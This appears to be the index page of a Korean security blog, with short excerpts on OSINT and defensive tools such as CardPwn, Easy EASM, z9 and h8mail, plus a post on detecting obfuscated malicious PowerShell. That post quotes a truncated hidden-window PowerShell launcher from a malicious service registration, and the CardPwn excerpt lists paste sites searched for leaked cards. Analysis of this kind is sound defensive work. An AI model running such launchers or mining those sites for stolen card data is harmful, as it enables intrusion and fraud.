반응형 전체 글176 CardPwn 개인정보유출 테스트 (Fullz) 🔹 CardPwnCardPwn는 유출된 신용카드 정보를 찾는 OSINT 오픈소스 도구입니다.이 도구는 Python으로 작성되어있고, 설치와 사용법 또한 간단합니다.💡 이 도구는 카드 정보를 특정 웹사이트로 쿼리하여 응답받은 결과를 표현해주는 것이기에 많은 정보가 나오지 않을 수 있습니다. 그냥 이런 도구도 있구나, 이런 사이트들도 있구나 하고 한번쯤은 테스트를 해볼만하다…! 🔹 CardPwn에서 유출된 카드 정보 검색에 사용되는 웹사이트cl1p.netdpastedumpz.orghastebinideonepastebinpw.fabian-fingerle.degist.github.comheypasteit.comivpaste.commysticpaste.compaste.org.rupaste2.orgsebsa.. 2024. 9. 23. Easy EASM 무료 도구(Free Tool) 💻 테스트 환경 : kali-linux 2022.2🔹 Easy EASM 란Easy EASM은 조직에 외부 자산에 대한 가시성을 제공하는 다루기 쉬운 도구입니다.Easy EASM은 10줄 이하의 설정, 오픈 소스 도구 사용 및 원버튼 배포를 통해 외부에 노출된 자산관리를 쉽게 할 수 있습니다.Easy EASM은 매일 사용자를 스캔하고 새로 발견된 자산에 대해 Slack 또는 Discord를 통해 알림을 전달할 수 있습니다. 또한 EASM 수행 결과를 Excel(CSV) 형태 파일로 저장할 수 있습니다. 💡 EASM(External Attack Surface Management, 외부 공격 표면 관리)🔹 EASM은 외부에 노출되어 있는 조직의 정보를 수집하여 조직의 외부 및 내부 자산의 잠재적인 취약.. 2024. 9. 23. z9 파워쉘 로그 분석기(Powershell Log Analyzer) 🔹 z9 Powershell Log Analyzer파워쉘 이벤트 로그를 분석하여 파워쉘 코드를 분석하고 악성 아티팩트를 탐지하는 도구입니다. 🔹 설치테스트 환경 : Kali-linux 2022.2, python3.11 z9 설치>> git clone https://github.com/Sh1n0g1/z9 🔹 사용법파워쉘 로그 XML파일로 수집하는 방법util 디렉터리를 윈도우 OS로 복사합니다.enable_powershell_logging.reg 파일을 실행하여 파워쉘 로그가 기록되도록 설정합니다. * reg 파일 실행 후 재부팅 1회 필요collect_psevent.bat 배치 파일을 실행하면 log 폴더에 파워쉘 관련 로그가 XML 파일로 생성됩니다. 기본 사용법z9.py 파일을 다음 명령어로 .. 2024. 9. 23. 난독화 악성 파워쉘 코드 탐지 및 분석 자료 악성 코드 탐지윈도우 이벤트에서 수상한 서비스 등록을 확인 및 난독화 코드 발견윈도우 이벤트 뷰어 - 시스템 - Event ID 7045(서비스 등록)**7045**04000x8080000000000000xxxxxxSystemPC123- xxrandomSevicenamexxx%COMSPEC% /b /c start /b /min powershell.exe -nop -w hidden -noni -c "if([IntPtr]::Size -eq 4){$b=$env:windir+'\\sysnative\\WindowsPowerShell\\v1.0\\powershell.exe'}else{$b='powershell.exe'};$s=New-Object System.Diagnostics.ProcessStartInfo;$s... 2024. 9. 23. h8mail - 이메일 주소 검색 및 유출 모니터링 도구 h8mail - 이메일 주소 검색 및 유출 모니터링 도구공식 사이트 : https://github.com/khast3x/h8mail[caption id="" align="alignnone" width="861"]h8mail[/caption]🔹 소개이메일 주소는 개인 정보와 연결된 중요한 데이터를 포함할 수 있기 때문에 온라인 상에서 보안과 개인 정보 보호는 매우 중요합니다.h8mail은 이러한 목적으로 개발된 오픈 소스 도구로, 이메일 주소의 유출 및 검색을 모니터링하는 데 도움을 줍니다. 🔹 h8mail 주요 기능[이메일 주소 검색]h8mail은 이메일 주소를 입력하면 이 주소가 데이터 유출 또는 노출 사이트에서 어떻게 사용되는지 확인할 수 있도록 도와줍니다. [데이터 유출 모니터링]h8mail은.. 2024. 9. 23. DNS, 메일 헤더 분석 등 무료 도구 mxtoolbox.com [caption id="" align="alignnone" width="951"]mxtoolbox[/caption]🔹 mxtoolbox.commxtoolbox.com은 네트워크 관리자와 이메일 시스템 관리자를 위한 유용한 도구를 제공하는 온라인 서비스입니다. 이 웹 사이트는 주로 이메일 인프라 및 DNS(Domain Name System) 설정 문제를 진단하고 해결하는 데 도움이 됩니다. DNS 검사 및 분석: mxtoolbox.com을 사용하면 도메인의 DNS 레코드를 검사하고 분석할 수 있습니다. MX 레코드, TXT 레코드, SPF 설정 등과 같은 DNS 설정을 확인하여 이메일 전달 문제를 해결하는 데 도움이 됩니다. 이메일 블랙리스트 확인: 이 도구는 도메인 또는 IP 주소가 이메일 블랙리스트에.. 2024. 9. 23. 이전 1 2 3 4 ··· 30 다음 반응형
